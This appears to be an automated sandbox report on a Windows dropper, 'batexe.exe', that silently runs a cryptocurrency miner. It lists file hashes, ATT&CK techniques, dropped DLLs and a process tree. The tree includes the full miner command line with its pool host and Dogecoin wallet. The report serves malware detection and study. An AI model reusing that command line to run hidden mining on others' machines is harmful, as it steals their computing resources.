73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
293s
max time network
301s
platform
windows10-2004_x64
resource
win10v2004-20231215-ja
resource tags

arch:x64arch:x86image:win10v2004-20231215-jalocale:ja-jpos:windows10-2004-x64systemwindows
submitted
12/02/2024, 05:34

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1232405761-1209240240-3206092754-1000\Control Panel\International\Geo\Nation	batexe.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1232405761-1209240240-3206092754-1000\Control Panel\International\Geo\Nation	b2e.exe

Executes dropped EXE 2 IoCs

pid	Process
2356	b2e.exe
4880	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
4880	cpuminer-sse2.exe
4880	cpuminer-sse2.exe
4880	cpuminer-sse2.exe
4880	cpuminer-sse2.exe
4880	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/1712-9-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 1712 wrote to memory of 2356	1712	batexe.exe	85
PID 1712 wrote to memory of 2356	1712	batexe.exe	85
PID 1712 wrote to memory of 2356	1712	batexe.exe	85
PID 2356 wrote to memory of 2152	2356	b2e.exe	86
PID 2356 wrote to memory of 2152	2356	b2e.exe	86
PID 2356 wrote to memory of 2152	2356	b2e.exe	86
PID 2152 wrote to memory of 4880	2152	cmd.exe	89
PID 2152 wrote to memory of 4880	2152	cmd.exe	89

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1712
- C:\Users\Admin\AppData\Local\Temp\6D21.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\6D21.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\6D21.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:2356
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\705D.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2152
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:4880

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\6D21.tmp\b2e.exe

Filesize
6.6MB

MD5
58f34821adb4dd6673defb932c4b6af7

SHA1
aa461e8bb1749da5a414ddb0a6ca7189d1cb413a

SHA256
2c95ab6d55c6ab3bdd310d83fb49b3541e1fe05650aefd3ab63b5775c53fb13c

SHA512
081afee0b92aa3346d8a0d3cf71440bf2115268df1f25e902199b52f2fbb482d4b179c988afcecc4a18192911c9f95891e18d1188efe89c32c83138e1a80afbb

Download Submit
C:\Users\Admin\AppData\Local\Temp\6D21.tmp\b2e.exe

Filesize
794KB

MD5
008076c4b32ce82a0e37f248ca4c0e2c

SHA1
f5399b305bc97b8f379931d923d29109689bf691

SHA256
379bccf3eb0603cbaa80d4edd8e967dd8d060219c2b76db7e592b23d8aac2c6f

SHA512
cce87e7570240ce02355613877a6d836117ccae6419d81659cb1007cc0b50ca3aa13d879255d185853b601f37ed5b22066c6c3b400dc40d4625bb9669da59620

Download Submit
C:\Users\Admin\AppData\Local\Temp\6D21.tmp\b2e.exe

Filesize
568KB

MD5
f97ce5164d81f9289edfc901de5803f3

SHA1
e71db5c71ed1763dd65c647505a827a18bc7892c

SHA256
30d8fd436e5cf340761e8d0bc450a1975ef8c8bbf4ee450061f542e96f61ff42

SHA512
d331f8e68f23bfe43a70cbadee3f1bdb556b7f4a587ebf73f46a3d76e334020d453c5957d29a77e36ffaf8af31f85762f7e4941fd9c8f02bdce27b98c6dceca9

Download Submit
C:\Users\Admin\AppData\Local\Temp\705D.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
1.2MB

MD5
7639c22d951568f14f63e88e3049f84e

SHA1
f60c89932e6a7f07c2132cc52bec9714e6033ab8

SHA256
bda403b4d800eb16dab8e0f0140e9da3a45e087bdd74bd8098036fb48e998d0e

SHA512
386b61efc1622edad1596659de8c6a5790be7e44a255feaa2bd8c4a722071c510ee824e22ee6e105ec747042f17dd0d1d50963c4fd743b4c39b122106f23a8e9

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
1.2MB

MD5
360402588c4d49f50b40b36390a1cd6a

SHA1
5b73c41cbdbd05403e046ac64f8a86e1dafdeecd

SHA256
3cc3e0465da4171fb89a278856174e5543fd61c33d36ac216cfd568c89122f84

SHA512
1a6dcd28adf59cdb1496559280f9f6e76f23a5f370f260eb0a4cdf7d28efaeb7f7bf743e943be732550699fa51c7b8da5d18fbbcd7ba04b836b5c9a51629d69e

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.0MB

MD5
55a9cd38efe2ac01abaa22c4977bf5e0

SHA1
08b8a63e956f20496eb7df4a3bbf5d69967db8bb

SHA256
305ea5306976b03819ec554e378908a5d98f6f0bcf6950f18199cd1d1f7a9efc

SHA512
f725653a1cf1e6ae77ea20fe9475f065f988eaef6376d789a433877487e68846840589c609800cde47e3df1e47b91cf5371d145297e4be6e7d7b8e7d0fe17fc7

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.2MB

MD5
63a1a5b1aa9b43d788414a63521133ac

SHA1
f79ec97e65b8982389cb075227976ba581f0ea1d

SHA256
0174850810de68631fe8abf2b2c964c98bf2d2ce350eaeddbc4bda92b498ee85

SHA512
747418999b465a19b51a9eee2ddbc1413b508fcc90ffaeabf2b8444c549a3fb103faa288902ae48e20c1d85da76d06deaaf23e8bf3aba8d1f457f3806f93049a

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.1MB

MD5
23a9d84314eadd9a8bd1e7a3e50d7d92

SHA1
969e8112f2102e292635e46a83cbd1c0a5e42d39

SHA256
c4cb5d99219c1a3bdf4400275a1d7a2957e36c484eb587444d5950f2f2b5ce19

SHA512
4a11ecfb88744ae0adf808ebad12b2fba849d0244687101589cc63b48abbcd95274f8cc0c296e1f31661a0745baae522d2125539511af8887da776937b99431c

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1014KB

MD5
a986bbfc1bae50365e0e4df22c197ca4

SHA1
4697465520981727b41c7eb83ddc26fd2925cde6

SHA256
b2db77379f80f6b84637da653ec437731aaee66bda4a6d22aa540bd653f4f3cc

SHA512
3d357c0766d9c88ab5b3a7f734f41a6fcd041cd36484c50651eb7e930ea07a7b69798b6dc7bd6338ab7c4e64e92037750c2a29ef6ee9badcecdb22bded1c7f89

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/1712-9-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/2356-8-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/2356-53-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/4880-46-0x0000000067D60000-0x0000000067DF8000-memory.dmp

Filesize
608KB

Download
memory/4880-64-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4880-43-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4880-47-0x0000000001070000-0x0000000002925000-memory.dmp

Filesize
24.7MB

Download
memory/4880-45-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/4880-54-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4880-59-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4880-44-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/4880-69-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4880-74-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4880-84-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4880-89-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4880-94-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4880-99-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4880-104-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download